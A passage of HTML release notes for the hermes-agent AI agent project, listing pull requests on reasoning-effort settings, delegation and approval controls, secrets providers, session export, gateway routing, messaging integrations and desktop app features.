<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
